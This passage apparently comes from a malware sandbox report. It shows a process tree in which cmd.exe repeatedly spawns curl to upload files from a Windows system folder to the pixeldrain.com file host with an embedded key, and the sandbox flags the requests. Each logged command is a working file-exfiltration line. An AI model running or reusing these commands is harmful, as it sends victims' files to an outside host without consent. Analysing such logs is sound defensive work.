    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars47.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars47.contrast-black_scale-200.png-07-11-2026--13.57.16.png
    3⤵
    PID:3540
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars47.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars47.contrast-white_scale-200.png-07-11-2026--13.57.17.png
  2⤵
  PID:4188
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5372
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars47.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars47.contrast-white_scale-200.png-07-11-2026--13.57.17.png
    3⤵
    PID:712
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars47.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars47.scale-200.png-07-11-2026--13.57.17.png
  2⤵
  PID:5796
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars47.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars47.scale-200.png-07-11-2026--13.57.17.png
    3⤵
    - Badlisted process makes network request
    PID:5640
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars48.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars48.contrast-black_scale-200.png-07-11-2026--13.57.17.png
  2⤵
  PID:5036
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars48.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars48.contrast-black_scale-200.png-07-11-2026--13.57.17.png
    3⤵
    PID:3536
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars48.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars48.contrast-white_scale-200.png-07-11-2026--13.57.17.png
  2⤵
  PID:5964
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars48.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars48.contrast-white_scale-200.png-07-11-2026--13.57.17.png
    3⤵
    PID:5020
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars48.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars48.scale-200.png-07-11-2026--13.57.18.png
  2⤵
  PID:2460
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3656
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars48.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars48.scale-200.png-07-11-2026--13.57.18.png
    3⤵
    - Badlisted process makes network request
    PID:6076
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars49.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars49.contrast-black_scale-200.png-07-11-2026--13.57.18.png
  2⤵
  PID:812
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars49.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars49.contrast-black_scale-200.png-07-11-2026--13.57.18.png
    3⤵
    - Badlisted process makes network request
    PID:2584
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars49.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars49.contrast-white_scale-200.png-07-11-2026--13.57.18.png
  2⤵
  PID:3044
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars49.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars49.contrast-white_scale-200.png-07-11-2026--13.57.18.png
    3⤵
    - Badlisted process makes network request
    PID:2716
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars49.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars49.scale-200.png-07-11-2026--13.57.18.png
  2⤵
  PID:1976
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars49.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars49.scale-200.png-07-11-2026--13.57.18.png
    3⤵
    - Badlisted process makes network request
    PID:4624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars50.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars50.contrast-black_scale-200.png-07-11-2026--13.57.19.png
  2⤵
  PID:4988
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars50.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars50.contrast-black_scale-200.png-07-11-2026--13.57.19.png
    3⤵
    - Badlisted process makes network request
    PID:4052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars50.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars50.contrast-white_scale-200.png-07-11-2026--13.57.19.png
  2⤵
  PID:1224
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars50.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars50.contrast-white_scale-200.png-07-11-2026--13.57.19.png
    3⤵
    - Badlisted process makes network request
    PID:3144
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars50.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars50.scale-200.png-07-11-2026--13.57.19.png
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4516
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars50.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars50.scale-200.png-07-11-2026--13.57.19.png
    3⤵
    PID:5008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760\BadgeLogo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760-BadgeLogo.scale-100.png-07-11-2026--13.57.19.png
  2⤵
  PID:4116
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760\BadgeLogo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760-BadgeLogo.scale-100.png-07-11-2026--13.57.19.png
    3⤵
    PID:2280
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760\Logo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760-Logo.scale-100.png-07-11-2026--13.57.20.png
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2820
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760\Logo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760-Logo.scale-100.png-07-11-2026--13.57.20.png
    3⤵
    PID:4432
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760\SmallLogo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760-SmallLogo.scale-100.png-07-11-2026--13.57.20.png
  2⤵
  PID:5512
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760\SmallLogo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760-SmallLogo.scale-100.png-07-11-2026--13.57.20.png
    3⤵
    PID:2824
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760\Splashscreen.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760-Splashscreen.scale-100.png-07-11-2026--13.57.20.png
  2⤵
  PID:4220
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760\Splashscreen.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760-Splashscreen.scale-100.png-07-11-2026--13.57.20.png
    3⤵
    PID:5616
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760\StoreLogo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760-StoreLogo.scale-100.png-07-11-2026--13.57.21.png
  2⤵
  PID:1256
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760\StoreLogo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..erymanager.appxmain_31bf3856ad364e35_10.0.26100.1591_none_477a71e6b0559760-StoreLogo.scale-100.png-07-11-2026--13.57.21.png
    3⤵
    PID:5640
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.contrast-black_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.contrast-black_scale-100.png-07-11-2026--13.57.21.png
  2⤵
  PID:2556
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.contrast-black_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.contrast-black_scale-100.png-07-11-2026--13.57.21.png
    3⤵
    PID:2296
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.contrast-black_scale-140.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.contrast-black_scale-140.png-07-11-2026--13.57.21.png
  2⤵
  PID:5312
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.contrast-black_scale-140.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.contrast-black_scale-140.png-07-11-2026--13.57.21.png
    3⤵
    PID:5020
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.contrast-black_scale-180.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.contrast-black_scale-180.png-07-11-2026--13.57.21.png
  2⤵
  PID:1208
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.contrast-black_scale-180.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.contrast-black_scale-180.png-07-11-2026--13.57.21.png
    3⤵
    PID:3504
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.contrast-black_scale-80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.contrast-black_scale-80.png-07-11-2026--13.57.22.png
  2⤵
  PID:4260
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.contrast-black_scale-80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.contrast-black_scale-80.png-07-11-2026--13.57.22.png
    3⤵
    PID:5216
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.contrast-white_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.contrast-white_scale-100.png-07-11-2026--13.57.22.png
  2⤵
  PID:2716
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.contrast-white_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.contrast-white_scale-100.png-07-11-2026--13.57.22.png
    3⤵
    PID:1064
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.contrast-white_scale-140.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.contrast-white_scale-140.png-07-11-2026--13.57.22.png
  2⤵
  PID:2636
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.contrast-white_scale-140.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.contrast-white_scale-140.png-07-11-2026--13.57.22.png
    3⤵
    PID:5232
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.contrast-white_scale-180.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.contrast-white_scale-180.png-07-11-2026--13.57.22.png
  2⤵
  PID:5224
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.contrast-white_scale-180.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.contrast-white_scale-180.png-07-11-2026--13.57.22.png
    3⤵
    PID:1668
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.contrast-white_scale-80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.contrast-white_scale-80.png-07-11-2026--13.57.23.png
  2⤵
  PID:5456
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2712
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.contrast-white_scale-80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.contrast-white_scale-80.png-07-11-2026--13.57.23.png
    3⤵
    PID:3812
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.scale-100.png-07-11-2026--13.57.23.png
  2⤵
  PID:5756
- - C:\Windows\SysWOW64\curl.exe
